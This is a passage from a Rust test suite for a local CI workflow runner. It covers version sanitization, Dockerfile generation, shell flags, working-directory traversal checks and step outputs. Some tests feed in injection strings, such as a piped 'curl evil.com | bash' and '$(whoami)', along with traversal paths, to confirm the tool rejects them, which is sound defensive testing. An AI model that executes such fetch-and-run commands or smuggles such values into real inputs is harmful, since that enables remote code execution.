6902        assert!(get_install_script("unknown_lang", "1.0").is_empty());
6903    }
6904
6905    // --- version sanitization tests ---
6906
6907    #[test]
6908    fn is_safe_version_accepts_valid() {
6909        assert!(is_safe_version("20"));
6910        assert!(is_safe_version("3.12"));
6911        assert!(is_safe_version("16.x"));
6912        assert!(is_safe_version("8.2-rc1"));
6913        assert!(is_safe_version("stable"));
6914        assert!(is_safe_version("1.21_beta"));
6915    }
6916
6917    #[test]
6918    fn is_safe_version_rejects_injection() {
6919        assert!(!is_safe_version(""));
6920        assert!(!is_safe_version("20; curl evil.com | bash"));
6921        assert!(!is_safe_version("20\nRUN malicious"));
6922        assert!(!is_safe_version("20 && echo pwned"));
6923        assert!(!is_safe_version("$(whoami)"));
6924        assert!(!is_safe_version("20`id`"));
6925    }
6926
6927    #[test]
6928    fn detect_setup_runtimes_skips_invalid_version() {
6929        let with = HashMap::from([(
6930            "node-version".to_string(),
6931            "20; curl evil.com | bash".to_string(),
6932        )]);
6933        let steps = vec![make_step_uses("actions/setup-node@v3", Some(with))];
6934        let runtimes = detect_setup_runtimes(&steps);
6935        assert!(runtimes.is_empty());
6936    }
6937
6938    // --- deduplication tests ---
6939
6940    #[test]
6941    fn detect_setup_runtimes_deduplicates_same_language() {
6942        let with_16 = HashMap::from([("node-version".to_string(), "16".to_string())]);
6943        let with_20 = HashMap::from([("node-version".to_string(), "20".to_string())]);
6944        let steps = vec![
6945            make_step_uses("actions/setup-node@v3", Some(with_16)),
6946            make_step_uses("actions/setup-node@v4", Some(with_20)),
6947        ];
6948        let runtimes = detect_setup_runtimes(&steps);
6949        assert_eq!(runtimes.len(), 1);
6950        // Last one wins
6951        assert_eq!(runtimes[0].version, "20");
6952    }
6953
6954    // --- exact match tests ---
6955
6956    #[test]
6957    fn detect_setup_runtimes_ignores_similar_action_names() {
6958        let steps = vec![
6959            make_step_uses("actions/setup-node-legacy@v1", None),
6960            make_step_uses("actions/setup-nodejs@v1", None),
6961        ];
6962        let runtimes = detect_setup_runtimes(&steps);
6963        assert!(runtimes.is_empty());
6964    }
6965
6966    // --- determine_action_image exact-match tests ---
6967
6968    #[test]
6969    fn determine_action_image_exact_match_setup_actions() {
6970        // Known setup actions should return the runner base
6971        assert_eq!(
6972            determine_action_image("actions/setup-node"),
6973            "catthehacker/ubuntu:act-latest"
6974        );
6975        assert_eq!(
6976            determine_action_image("actions/setup-python"),
6977            "catthehacker/ubuntu:act-latest"
6978        );
6979        assert_eq!(
6980            determine_action_image("shivammathur/setup-php"),
6981            "catthehacker/ubuntu:act-latest"
6982        );
6983        assert_eq!(
6984            determine_action_image("dtolnay/rust-toolchain"),
6985            "catthehacker/ubuntu:act-latest"
6986        );
6987    }
6988
6989    #[test]
6990    fn determine_action_image_rejects_similar_names() {
6991        // Similar-but-different action names must NOT match setup actions
6992        assert_eq!(
6993            determine_action_image("actions/setup-node-legacy"),
6994            "node:20-slim"
6995        );
6996        assert_eq!(
6997            determine_action_image("actions/setup-nodejs"),
6998            "node:20-slim"
6999        );
7000    }
7001
7002    #[test]
7003    fn determine_action_image_core_actions() {
7004        assert_eq!(
7005            determine_action_image("actions/checkout"),
7006            "catthehacker/ubuntu:act-latest"
7007        );
7008        assert_eq!(
7009            determine_action_image("actions/cache"),
7010            "catthehacker/ubuntu:act-latest"
7011        );
7012    }
7013
7014    #[test]
7015    fn determine_action_image_namespace_prefix() {
7016        // docker/* and aws-actions/* use namespace prefix matching
7017        assert_eq!(
7018            determine_action_image("docker/build-push-action"),
7019            "docker:latest"
7020        );
7021        assert_eq!(
7022            determine_action_image("docker/login-action"),
7023            "docker:latest"
7024        );
7025        assert_eq!(
7026            determine_action_image("aws-actions/configure-aws-credentials"),
7027            "amazon/aws-cli:latest"
7028        );
7029    }
7030
7031    // --- Dockerfile generation tests ---
7032
7033    #[test]
7034    fn generate_combined_dockerfile_single_runtime() {
7035        let runtimes = vec![SetupRuntime {
7036            language: "node".to_string(),
7037            version: "20".to_string(),
7038            install_script: get_install_script("node", "20"),
7039        }];
7040        let df = generate_combined_dockerfile(&runtimes, "ubuntu:latest");
7041        assert!(df.starts_with("FROM ubuntu:latest\n"));
7042        assert!(df.contains("nodesource"));
7043        // Everything in a single RUN layer
7044        assert_eq!(df.matches("RUN ").count(), 1);
7045    }
7046
7047    #[test]
7048    fn generate_combined_dockerfile_multi_runtime_single_run() {
7049        let runtimes = vec![
7050            SetupRuntime {
7051                language: "node".to_string(),
7052                version: "20".to_string(),
7053                install_script: get_install_script("node", "20"),
7054            },
7055            SetupRuntime {
7056                language: "python".to_string(),
7057                version: "3.12".to_string(),
7058                install_script: get_install_script("python", "3.12"),
7059            },
7060        ];
7061        let df = generate_combined_dockerfile(&runtimes, "ubuntu:latest");
7062        // Everything in a single RUN layer
7063        assert_eq!(df.matches("RUN ").count(), 1);
7064        assert!(df.contains("nodesource"));
7065        assert!(df.contains("deadsnakes"));
7066    }
7067
7068    #[test]
7069    fn generate_combined_dockerfile_skips_empty_scripts() {
7070        let runtimes = vec![SetupRuntime {
7071            language: "unknown".to_string(),
7072            version: "1.0".to_string(),
7073            install_script: String::new(),
7074        }];
7075        let df = generate_combined_dockerfile(&runtimes, "ubuntu:latest");
7076        // Single RUN layer with just the base packages
7077        assert_eq!(df.matches("RUN ").count(), 1);
7078    }
7079
7080    #[test]
7081    fn combined_image_tag_is_deterministic() {
7082        let runtimes = vec![
7083            SetupRuntime {
7084                language: "node".to_string(),
7085                version: "20".to_string(),
7086                install_script: "install node".to_string(),
7087            },
7088            SetupRuntime {
7089                language: "python".to_string(),
7090                version: "3.12".to_string(),
7091                install_script: "install python".to_string(),
7092            },
7093        ];
7094        let df = "FROM base\nRUN install stuff\n";
7095        let tag1 = combined_image_tag(&runtimes, df);
7096        let tag2 = combined_image_tag(&runtimes, df);
7097        assert_eq!(tag1, tag2);
7098        assert!(tag1.starts_with(COMBINED_IMAGE_PREFIX));
7099    }
7100
7101    #[test]
7102    fn combined_image_tag_changes_when_dockerfile_changes() {
7103        let runtimes = vec![SetupRuntime {
7104            language: "node".to_string(),
7105            version: "20".to_string(),
7106            install_script: "install node v1".to_string(),
7107        }];
7108        let tag1 = combined_image_tag(&runtimes, "FROM base\nRUN v1\n");
7109        let tag2 = combined_image_tag(&runtimes, "FROM base\nRUN v2\n");
7110        assert_ne!(tag1, tag2);
7111    }
7112
7113    #[test]
7114    fn combined_image_tag_sorts_languages() {
7115        let runtimes_ab = vec![
7116            SetupRuntime {
7117                language: "a".to_string(),
7118                version: "1".to_string(),
7119                install_script: String::new(),
7120            },
7121            SetupRuntime {
7122                language: "b".to_string(),
7123                version: "2".to_string(),
7124                install_script: String::new(),
7125            },
7126        ];
7127        let runtimes_ba = vec![
7128            SetupRuntime {
7129                language: "b".to_string(),
7130                version: "2".to_string(),
7131                install_script: String::new(),
7132            },
7133            SetupRuntime {
7134                language: "a".to_string(),
7135                version: "1".to_string(),
7136                install_script: String::new(),
7137            },
7138        ];
7139        let df = "same";
7140        let tag_ab = combined_image_tag(&runtimes_ab, df);
7141        let tag_ba = combined_image_tag(&runtimes_ba, df);
7142        // Both should produce the same sorted prefix (a1-b2)
7143        assert_eq!(tag_ab, tag_ba);
7144    }
7145
7146    // --- Shell invocation tests ---
7147
7148    fn make_run_step(run: &str) -> Step {
7149        Step {
7150            name: Some("run-step".to_string()),
7151            uses: None,
7152            run: Some(run.to_string()),
7153            with: None,
7154            env: HashMap::new(),
7155            continue_on_error: None,
7156            if_condition: None,
7157            id: None,
7158            working_directory: None,
7159            shell: None,
7160            timeout_minutes: None,
7161        }
7162    }
7163
7164    #[tokio::test]
7165    async fn bash_shell_uses_errexit_and_pipefail() {
7166        let runtime = MockContainerRuntime::default();
7167        let workflow = minimal_workflow();
7168        let job_env = HashMap::new();
7169        let working_dir = std::env::current_dir().unwrap();
7170
7171        let step = make_run_step("echo hello");
7172
7173        let ctx = StepExecutionContext {
7174            step: &step,
7175            step_idx: 0,
7176            job_env: &job_env,
7177            job_user_env: &job_env,
7178            working_dir: &working_dir,
7179            runtime: &runtime,
7180            workflow: &workflow,
7181            runner_image: "ubuntu:latest",
7182            verbose: false,
7183            matrix_combination: &None,
7184            container_config: None,
7185            workflow_defaults: None,
7186            job_defaults: None,
7187            step_outputs: &HashMap::new(),
7188            step_statuses: &HashMap::new(),
7189            job_status: "success",
7190            services: test_services(),
7191            pending_cache_saves: &TEST_PENDING_CACHE_SAVES,
7192        };
7193
7194        let result = execute_step(ctx).await.unwrap();
7195        assert_eq!(result.status, StepStatus::Success);
7196
7197        let calls = runtime.run_calls.lock().unwrap();
7198        assert_eq!(calls.len(), 1);
7199        let cmd = &calls[0].cmd;
7200        // Should be: bash --noprofile --norc -e -o pipefail -c <script>
7201        assert_eq!(cmd[0], "bash");
7202        assert_eq!(cmd[1], "--noprofile");
7203        assert_eq!(cmd[2], "--norc");
7204        assert_eq!(cmd[3], "-e");
7205        assert_eq!(cmd[4], "-o");
7206        assert_eq!(cmd[5], "pipefail");
7207        assert_eq!(cmd[6], "-c");
7208        assert_eq!(cmd[7], "echo hello");
7209    }
7210
7211    #[tokio::test]
7212    async fn sh_shell_uses_errexit() {
7213        let runtime = MockContainerRuntime::default();
7214        let workflow = minimal_workflow();
7215        let job_env = HashMap::new();
7216        let working_dir = std::env::current_dir().unwrap();
7217
7218        let mut step = make_run_step("echo hello");
7219        step.shell = Some("sh".to_string());
7220
7221        let ctx = StepExecutionContext {
7222            step: &step,
7223            step_idx: 0,
7224            job_env: &job_env,
7225            job_user_env: &job_env,
7226            working_dir: &working_dir,
7227            runtime: &runtime,
7228            workflow: &workflow,
7229            runner_image: "ubuntu:latest",
7230            verbose: false,
7231            matrix_combination: &None,
7232            container_config: None,
7233            workflow_defaults: None,
7234            job_defaults: None,
7235            step_outputs: &HashMap::new(),
7236            step_statuses: &HashMap::new(),
7237            job_status: "success",
7238            services: test_services(),
7239            pending_cache_saves: &TEST_PENDING_CACHE_SAVES,
7240        };
7241
7242        let result = execute_step(ctx).await.unwrap();
7243        assert_eq!(result.status, StepStatus::Success);
7244
7245        let calls = runtime.run_calls.lock().unwrap();
7246        let cmd = &calls[0].cmd;
7247        assert_eq!(cmd[0], "sh");
7248        assert_eq!(cmd[1], "-e");
7249        assert_eq!(cmd[2], "-c");
7250        assert_eq!(cmd[3], "echo hello");
7251    }
7252
7253    // --- Working-directory path traversal tests ---
7254
7255    #[tokio::test]
7256    async fn working_directory_rejects_parent_traversal() {
7257        let runtime = MockContainerRuntime::default();
7258        let workflow = minimal_workflow();
7259        let job_env = HashMap::new();
7260        let working_dir = std::env::current_dir().unwrap();
7261
7262        let mut step = make_run_step("echo pwned");
7263        step.working_directory = Some("../../etc".to_string());
7264
7265        let ctx = StepExecutionContext {
7266            step: &step,
7267            step_idx: 0,
7268            job_env: &job_env,
7269            job_user_env: &job_env,
7270            working_dir: &working_dir,
7271            runtime: &runtime,
7272            workflow: &workflow,
7273            runner_image: "ubuntu:latest",
7274            verbose: false,
7275            matrix_combination: &None,
7276            container_config: None,
7277            workflow_defaults: None,
7278            job_defaults: None,
7279            step_outputs: &HashMap::new(),
7280            step_statuses: &HashMap::new(),
7281            job_status: "success",
7282            services: test_services(),
7283            pending_cache_saves: &TEST_PENDING_CACHE_SAVES,
7284        };
7285
7286        let result = execute_step(ctx).await.unwrap();
7287        assert_eq!(result.status, StepStatus::Failure);
7288        assert!(result.output.contains("Invalid working-directory"));
7289    }
7290
7291    #[tokio::test]
7292    async fn working_directory_allows_subdirectory() {
7293        let runtime = MockContainerRuntime::default();
7294        let workflow = minimal_workflow();
7295        let job_env = HashMap::new();
7296        let working_dir = std::env::current_dir().unwrap();
7297
7298        let mut step = make_run_step("echo ok");
7299        step.working_directory = Some("src/app".to_string());
7300
7301        let ctx = StepExecutionContext {
7302            step: &step,
7303            step_idx: 0,
7304            job_env: &job_env,
7305            job_user_env: &job_env,
7306            working_dir: &working_dir,
7307            runtime: &runtime,
7308            workflow: &workflow,
7309            runner_image: "ubuntu:latest",
7310            verbose: false,
7311            matrix_combination: &None,
7312            container_config: None,
7313            workflow_defaults: None,
7314            job_defaults: None,
7315            step_outputs: &HashMap::new(),
7316            step_statuses: &HashMap::new(),
7317            job_status: "success",
7318            services: test_services(),
7319            pending_cache_saves: &TEST_PENDING_CACHE_SAVES,
7320        };
7321
7322        let result = execute_step(ctx).await.unwrap();
7323        assert_eq!(result.status, StepStatus::Success);
7324        // No container calls should have failed
7325        let calls = runtime.run_calls.lock().unwrap();
7326        assert_eq!(calls.len(), 1);
7327    }
7328
7329    #[tokio::test]
7330    async fn working_directory_rejects_absolute_path() {
7331        let runtime = MockContainerRuntime::default();
7332        let workflow = minimal_workflow();
7333        let job_env = HashMap::new();
7334        let working_dir = std::env::current_dir().unwrap();
7335
7336        let mut step = make_run_step("echo pwned");
7337        step.working_directory = Some("/tmp/evil".to_string());
7338
7339        let ctx = StepExecutionContext {
7340            step: &step,
7341            step_idx: 0,
7342            job_env: &job_env,
7343            job_user_env: &job_env,
7344            working_dir: &working_dir,
7345            runtime: &runtime,
7346            workflow: &workflow,
7347            runner_image: "ubuntu:latest",
7348            verbose: false,
7349            matrix_combination: &None,
7350            container_config: None,
7351            workflow_defaults: None,
7352            job_defaults: None,
7353            step_outputs: &HashMap::new(),
7354            step_statuses: &HashMap::new(),
7355            job_status: "success",
7356            services: test_services(),
7357            pending_cache_saves: &TEST_PENDING_CACHE_SAVES,
7358        };
7359
7360        let result = execute_step(ctx).await.unwrap();
7361        assert_eq!(result.status, StepStatus::Failure);
7362        assert!(result.output.contains("Invalid working-directory"));
7363    }
7364
7365    // --- Defaults cascade tests ---
7366
7367    #[tokio::test]
7368    async fn defaults_cascade_job_overrides_workflow() {
7369        let runtime = MockContainerRuntime::default();
7370        let workflow_defaults = workflow::Defaults {
7371            run: Some(workflow::DefaultsRun {
7372                shell: Some("sh".to_string()),
7373                working_directory: None,
7374            }),
7375        };
7376        let job_defaults = workflow::Defaults {
7377            run: Some(workflow::DefaultsRun {
7378                shell: Some("python".to_string()),
7379                working_directory: None,
7380            }),
7381        };
7382        let workflow = minimal_workflow();
7383        let job_env = HashMap::new();
7384        let working_dir = std::env::current_dir().unwrap();
7385
7386        let step = make_run_step("print('hello')");
7387
7388        let ctx = StepExecutionContext {
7389            step: &step,
7390            step_idx: 0,
7391            job_env: &job_env,
7392            job_user_env: &job_env,
7393            working_dir: &working_dir,
7394            runtime: &runtime,
7395            workflow: &workflow,
7396            runner_image: "ubuntu:latest",
7397            verbose: false,
7398            matrix_combination: &None,
7399            container_config: None,
7400            workflow_defaults: Some(&workflow_defaults),
7401            job_defaults: Some(&job_defaults),
7402            step_outputs: &HashMap::new(),
7403            step_statuses: &HashMap::new(),
7404            job_status: "success",
7405            services: test_services(),
7406            pending_cache_saves: &TEST_PENDING_CACHE_SAVES,
7407        };
7408
7409        let result = execute_step(ctx).await.unwrap();
7410        assert_eq!(result.status, StepStatus::Success);
7411
7412        let calls = runtime.run_calls.lock().unwrap();
7413        let cmd = &calls[0].cmd;
7414        // Job defaults (python) should override workflow defaults (sh)
7415        assert_eq!(cmd[0], "python");
7416        assert_eq!(cmd[1], "-c");
7417    }
7418
7419    #[tokio::test]
7420    async fn defaults_cascade_step_overrides_job() {
7421        let runtime = MockContainerRuntime::default();
7422        let job_defaults = workflow::Defaults {
7423            run: Some(workflow::DefaultsRun {
7424                shell: Some("python".to_string()),
7425                working_directory: None,
7426            }),
7427        };
7428        let workflow = minimal_workflow();
7429        let job_env = HashMap::new();
7430        let working_dir = std::env::current_dir().unwrap();
7431
7432        let mut step = make_run_step("echo hello");
7433        step.shell = Some("sh".to_string());
7434
7435        let ctx = StepExecutionContext {
7436            step: &step,
7437            step_idx: 0,
7438            job_env: &job_env,
7439            job_user_env: &job_env,
7440            working_dir: &working_dir,
7441            runtime: &runtime,
7442            workflow: &workflow,
7443            runner_image: "ubuntu:latest",
7444            verbose: false,
7445            matrix_combination: &None,
7446            container_config: None,
7447            workflow_defaults: None,
7448            job_defaults: Some(&job_defaults),
7449            step_outputs: &HashMap::new(),
7450            step_statuses: &HashMap::new(),
7451            job_status: "success",
7452            services: test_services(),
7453            pending_cache_saves: &TEST_PENDING_CACHE_SAVES,
7454        };
7455
7456        let result = execute_step(ctx).await.unwrap();
7457        assert_eq!(result.status, StepStatus::Success);
7458
7459        let calls = runtime.run_calls.lock().unwrap();
7460        let cmd = &calls[0].cmd;
7461        // Step shell (sh) should override job defaults (python)
7462        assert_eq!(cmd[0], "sh");
7463        assert_eq!(cmd[1], "-e");
7464        assert_eq!(cmd[2], "-c");
7465    }
7466
7467    #[tokio::test]
7468    async fn defaults_cascade_workflow_used_when_no_job_or_step() {
7469        let runtime = MockContainerRuntime::default();
7470        let workflow_defaults = workflow::Defaults {
7471            run: Some(workflow::DefaultsRun {
7472                shell: Some("sh".to_string()),
7473                working_directory: None,
7474            }),
7475        };
7476        let workflow = minimal_workflow();
7477        let job_env = HashMap::new();
7478        let working_dir = std::env::current_dir().unwrap();
7479
7480        let step = make_run_step("echo hello");
7481
7482        let ctx = StepExecutionContext {
7483            step: &step,
7484            step_idx: 0,
7485            job_env: &job_env,
7486            job_user_env: &job_env,
7487            working_dir: &working_dir,
7488            runtime: &runtime,
7489            workflow: &workflow,
7490            runner_image: "ubuntu:latest",
7491            verbose: false,
7492            matrix_combination: &None,
7493            container_config: None,
7494            workflow_defaults: Some(&workflow_defaults),
7495            job_defaults: None,
7496            step_outputs: &HashMap::new(),
7497            step_statuses: &HashMap::new(),
7498            job_status: "success",
7499            services: test_services(),
7500            pending_cache_saves: &TEST_PENDING_CACHE_SAVES,
7501        };
7502
7503        let result = execute_step(ctx).await.unwrap();
7504        assert_eq!(result.status, StepStatus::Success);
7505
7506        let calls = runtime.run_calls.lock().unwrap();
7507        let cmd = &calls[0].cmd;
7508        // Workflow defaults (sh) should be used
7509        assert_eq!(cmd[0], "sh");
7510    }
7511
7512    #[tokio::test]
7513    async fn defaults_cascade_working_directory_from_job() {
7514        let runtime = MockContainerRuntime::default();
7515        let job_defaults = workflow::Defaults {
7516            run: Some(workflow::DefaultsRun {
7517                shell: None,
7518                working_directory: Some("src".to_string()),
7519            }),
7520        };
7521        let workflow = minimal_workflow();
7522        let job_env = HashMap::new();
7523        let working_dir = std::env::current_dir().unwrap();
7524
7525        let step = make_run_step("echo ok");
7526
7527        let ctx = StepExecutionContext {
7528            step: &step,
7529            step_idx: 0,
7530            job_env: &job_env,
7531            job_user_env: &job_env,
7532            working_dir: &working_dir,
7533            runtime: &runtime,
7534            workflow: &workflow,
7535            runner_image: "ubuntu:latest",
7536            verbose: false,
7537            matrix_combination: &None,
7538            container_config: None,
7539            workflow_defaults: None,
7540            job_defaults: Some(&job_defaults),
7541            step_outputs: &HashMap::new(),
7542            step_statuses: &HashMap::new(),
7543            job_status: "success",
7544            services: test_services(),
7545            pending_cache_saves: &TEST_PENDING_CACHE_SAVES,
7546        };
7547
7548        let result = execute_step(ctx).await.unwrap();
7549        assert_eq!(result.status, StepStatus::Success);
7550        // Should succeed — "src" is a valid subdirectory path
7551    }
7552
7553    // --- sanitize_timeout_minutes tests ---
7554
7555    #[test]
7556    fn sanitize_timeout_none_returns_default() {
7557        assert_eq!(sanitize_timeout_minutes(None, 360.0), 360.0);
7558    }
7559
7560    #[test]
7561    fn sanitize_timeout_positive_value_returned() {
7562        assert_eq!(sanitize_timeout_minutes(Some(30.0), 360.0), 30.0);
7563    }
7564
7565    #[test]
7566    fn sanitize_timeout_nan_returns_default() {
7567        assert_eq!(sanitize_timeout_minutes(Some(f64::NAN), 360.0), 360.0);
7568    }
7569
7570    #[test]
7571    fn sanitize_timeout_infinity_returns_default() {
7572        assert_eq!(sanitize_timeout_minutes(Some(f64::INFINITY), 360.0), 360.0);
7573    }
7574
7575    #[test]
7576    fn sanitize_timeout_neg_infinity_returns_default() {
7577        assert_eq!(
7578            sanitize_timeout_minutes(Some(f64::NEG_INFINITY), 360.0),
7579            360.0
7580        );
7581    }
7582
7583    #[test]
7584    fn sanitize_timeout_zero_returns_default() {
7585        assert_eq!(sanitize_timeout_minutes(Some(0.0), 360.0), 360.0);
7586    }
7587
7588    #[test]
7589    fn sanitize_timeout_negative_returns_default() {
7590        assert_eq!(sanitize_timeout_minutes(Some(-5.0), 360.0), 360.0);
7591    }
7592
7593    #[test]
7594    fn sanitize_timeout_clamps_to_max() {
7595        // 360 * 24 = 8640
7596        assert_eq!(sanitize_timeout_minutes(Some(99999.0), 360.0), 8640.0);
7597    }
7598
7599    // --- Job-level timeout test ---
7600
7601    #[tokio::test]
7602    async fn job_timeout_produces_failure_result() {
7603        // Use a very short timeout wrapping a step that sleeps longer
7604        let timeout_mins = 0.0001; // ~6ms
7605        let dur = std::time::Duration::from_secs_f64(
7606            sanitize_timeout_minutes(Some(timeout_mins), 360.0) * 60.0,
7607        );
7608
7609        let step_loop = async {
7610            // Simulate a step that takes longer than the timeout
7611            tokio::time::sleep(std::time::Duration::from_millis(500)).await;
7612            Ok::<(), ExecutionError>(())
7613        };
7614
7615        let result = tokio::time::timeout(dur, step_loop).await;
7616        assert!(result.is_err(), "Expected timeout but step completed");
7617    }
7618
7619    // ---- Tests for review findings ----
7620
7621    #[test]
7622    fn record_step_status_tracks_outcome_and_conclusion() {
7623        let mut map = HashMap::new();
7624        let mut status = "success".to_string();
7625
7626        let result = StepResult {
7627            name: "build".to_string(),
7628            status: StepStatus::Failure,
7629            output: String::new(),
7630            outcome: StepStatus::Failure,
7631            conclusion: StepStatus::Success, // continue-on-error
7632        };
7633        record_step_status(Some("build"), &result, &mut map, &mut status);
7634
7635        let (outcome, conclusion) = map.get("build").unwrap();
7636        assert_eq!(outcome, "failure");
7637        assert_eq!(conclusion, "success");
7638        // conclusion is Success (continue-on-error), so job status stays "success"
7639        assert_eq!(status, "success");
7640    }
7641
7642    #[test]
7643    fn record_step_status_sets_job_failure_on_failed_conclusion() {
7644        let mut map = HashMap::new();
7645        let mut status = "success".to_string();
7646
7647        let result = StepResult::new("test".to_string(), StepStatus::Failure, String::new());
7648        record_step_status(Some("test"), &result, &mut map, &mut status);
7649
7650        assert_eq!(status, "failure");
7651    }
7652
7653    #[test]
7654    fn record_step_status_ignores_steps_without_id() {
7655        let mut map = HashMap::new();
7656        let mut status = "success".to_string();
7657
7658        let result = StepResult::new("anon".to_string(), StepStatus::Success, String::new());
7659        record_step_status(None, &result, &mut map, &mut status);
7660
7661        assert!(map.is_empty());
7662    }
7663
7664    #[test]
7665    fn process_workflow_commands_sets_output() {
7666        let mut outputs: HashMap<String, HashMap<String, String>> = HashMap::new();
7667        let masker = SecretMasker::new();
7668
7669        process_workflow_commands(
7670            "::set-output name=version::1.2.3\nsome normal output\n",
7671            Some("build"),
7672            &mut outputs,
7673            Some(&masker),
7674        );
7675
7676        assert_eq!(
7677            outputs.get("build").unwrap().get("version").unwrap(),
7678            "1.2.3"
7679        );
7680    }
7681
7682    #[test]
7683    fn process_workflow_commands_wires_add_mask() {
7684        let mut outputs: HashMap<String, HashMap<String, String>> = HashMap::new();
7685        let masker = SecretMasker::new();
7686
7687        process_workflow_commands(
7688            "::add-mask::my-secret-value\n",
7689            None,
7690            &mut outputs,
7691            Some(&masker),
7692        );
7693
7694        assert!(masker.has_secret("my-secret-value"));
7695        let masked = masker.mask("my-secret-value is here");
7696        assert!(!masked.contains("my-secret-value"));
7697    }
7698
7699    #[test]
7700    fn process_workflow_commands_without_masker_does_not_panic() {
7701        let mut outputs: HashMap<String, HashMap<String, String>> = HashMap::new();
7702        // Passing None for secret_masker should not panic
7703        process_workflow_commands("::add-mask::secret\n", None, &mut outputs, None);
7704    }
7705
7706    #[test]
7707    fn build_needs_context_filters_to_declared_deps() {
7708        let mut job = empty_workflow()
7709            .jobs
7710            .into_values()
7711            .next()
7712            .unwrap_or_else(|| serde_yaml::from_str::<Job>("steps: []").unwrap());
7713        job.needs = Some(vec!["build".to_string()]);
7714
7715        let mut all_outputs = HashMap::new();
7716        let mut build_out = HashMap::new();
7717        build_out.insert("artifact".to_string(), "foo.tar.gz".to_string());
7718        all_outputs.insert("build".to_string(), build_out);
7719        // "deploy" outputs should NOT be included
7720        let mut deploy_out = HashMap::new();
7721        deploy_out.insert("url".to_string(), "https://example.com".to_string());
7722        all_outputs.insert("deploy".to_string(), deploy_out);
7723
7724        let mut all_results = HashMap::new();
7725        all_results.insert("build".to_string(), "success".to_string());
7726        all_results.insert("deploy".to_string(), "failure".to_string());
7727
7728        let (needs_out, needs_res) = build_needs_context(&job, &all_outputs, &all_results);
7729
7730        assert!(needs_out.contains_key("build"));
7731        assert!(!needs_out.contains_key("deploy"));
7732        assert_eq!(needs_res.get("build").unwrap(), "success");
7733        assert!(!needs_res.contains_key("deploy"));
7734    }
7735
7736    #[test]
7737    fn resolve_job_outputs_evaluates_step_reference() {
7738        let job: Job = serde_yaml::from_str(
7739            r#"
7740            steps: []
7741            outputs:
7742              version: "${{ steps.build.outputs.ver }}"
7743            "#,
7744        )
7745        .unwrap();
7746
7747        let mut step_outputs = HashMap::new();
7748        let mut build_out = HashMap::new();
7749        build_out.insert("ver".to_string(), "2.0.0".to_string());
7750        step_outputs.insert("build".to_string(), build_out);
7751
7752        let result = resolve_job_outputs(
7753            &job,
7754            &step_outputs,
7755            &HashMap::new(),
7756            &HashMap::new(),
7757            &HashMap::new(),
7758            "success",
7759            Path::new("."),
7760        );
7761
7762        assert_eq!(result.get("version").unwrap(), "2.0.0");
7763    }
7764
7765    #[test]
7766    fn resolve_job_outputs_returns_empty_for_missing_step() {
7767        let job: Job = serde_yaml::from_str(
7768            r#"
7769            steps: []
7770            outputs:
7771              missing: "${{ steps.nonexistent.outputs.key }}"
7772            "#,
7773        )
7774        .unwrap();
7775
7776        let result = resolve_job_outputs(
7777            &job,
7778            &HashMap::new(),
7779            &HashMap::new(),
7780            &HashMap::new(),
7781            &HashMap::new(),
7782            "success",
7783            Path::new("."),
7784        );
7785
7786        assert_eq!(result.get("missing").unwrap(), "");
7787    }
7788
7789    #[test]
7790    fn aggregate_reusable_workflow_outputs_merges_all_jobs() {
7791        let mut job_outputs = HashMap::new();
7792        let mut build_out = HashMap::new();
7793        build_out.insert("artifact".to_string(), "build.tar".to_string());
7794        job_outputs.insert("build".to_string(), build_out);
7795
7796        let mut test_out = HashMap::new();
7797        test_out.insert("coverage".to_string(), "92%".to_string());
7798        job_outputs.insert("test".to_string(), test_out);
7799
7800        let merged = aggregate_reusable_workflow_outputs(&job_outputs);
7801        assert_eq!(merged.get("artifact").unwrap(), "build.tar");
7802        assert_eq!(merged.get("coverage").unwrap(), "92%");
7803    }
7804
7805    #[test]
7806    fn aggregate_reusable_workflow_outputs_skips_empty_values() {
7807        let mut job_outputs = HashMap::new();
7808        let mut out = HashMap::new();
7809        out.insert("key".to_string(), String::new());
7810        out.insert("real".to_string(), "value".to_string());
7811        job_outputs.insert("job".to_string(), out);
7812
7813        let merged = aggregate_reusable_workflow_outputs(&job_outputs);
7814        assert!(!merged.contains_key("key"));
7815        assert_eq!(merged.get("real").unwrap(), "value");
7816    }
7817
7818    #[test]
7819    fn build_needs_context_empty_when_no_needs_declared() {
7820        let job = make_job(None, None);
7821
7822        let mut all_outputs = HashMap::new();
7823        all_outputs.insert("build".to_string(), HashMap::new());
7824        let mut all_results = HashMap::new();
7825        all_results.insert("build".to_string(), "success".to_string());
7826
7827        let (needs_outputs, needs_results) = build_needs_context(&job, &all_outputs, &all_results);
7828
7829        assert!(needs_outputs.is_empty());
7830        assert!(needs_results.is_empty());
7831    }
7832
7833    #[test]
7834    fn build_needs_context_ignores_missing_upstream_jobs() {
7835        let mut job = make_job(None, None);
7836        job.needs = Some(vec!["nonexistent".to_string()]);
7837
7838        let (needs_outputs, needs_results) =
7839            build_needs_context(&job, &HashMap::new(), &HashMap::new());
7840
7841        assert!(needs_outputs.is_empty());
7842        assert!(needs_results.is_empty());
7843    }
7844
7845    #[test]
7846    fn resolve_job_outputs_handles_static_and_dynamic_values() {
7847        let job: Job = serde_yaml::from_str(
7848            r#"
7849            steps: []
7850            outputs:
7851              version: "${{ steps.build.outputs.ver }}"
7852              label: "release"
7853            "#,
7854        )
7855        .unwrap();
7856
7857        let mut step_outputs = HashMap::new();
7858        let mut build_out = HashMap::new();
7859        build_out.insert("ver".to_string(), "3.0.0".to_string());
7860        step_outputs.insert("build".to_string(), build_out);
7861
7862        let result = resolve_job_outputs(
7863            &job,
7864            &step_outputs,
7865            &HashMap::new(),
7866            &HashMap::new(),
7867            &HashMap::new(),
7868            "success",
7869            Path::new("."),
7870        );
7871
7872        assert_eq!(result.get("version").unwrap(), "3.0.0");
7873        assert_eq!(result.get("label").unwrap(), "release");
7874    }
7875
7876    #[test]
7877    fn resolve_job_outputs_empty_when_no_outputs_section() {
7878        let job = make_job(None, None);
7879
7880        let resolved = resolve_job_outputs(
7881            &job,
7882            &HashMap::new(),
7883            &HashMap::new(),
7884            &HashMap::new(),
7885            &HashMap::new(),
7886            "success",
7887            Path::new("."),
7888        );
7889
7890        assert!(resolved.is_empty());
7891    }
7892
7893    #[test]
7894    fn resolve_job_outputs_missing_step_reference_resolves_empty() {
7895        // Referencing a step that doesn't exist should resolve to empty string
7896        let job: Job = serde_yaml::from_str(
7897            r#"
7898            steps: []
7899            outputs:
7900              ver: "${{ steps.nonexistent.outputs.version }}"
7901            "#,
7902        )
7903        .unwrap();
7904
7905        let resolved = resolve_job_outputs(
7906            &job,
7907            &HashMap::new(),
7908            &HashMap::new(),
7909            &HashMap::new(),
7910            &HashMap::new(),
7911            "success",
7912            Path::new("."),
7913        );
7914
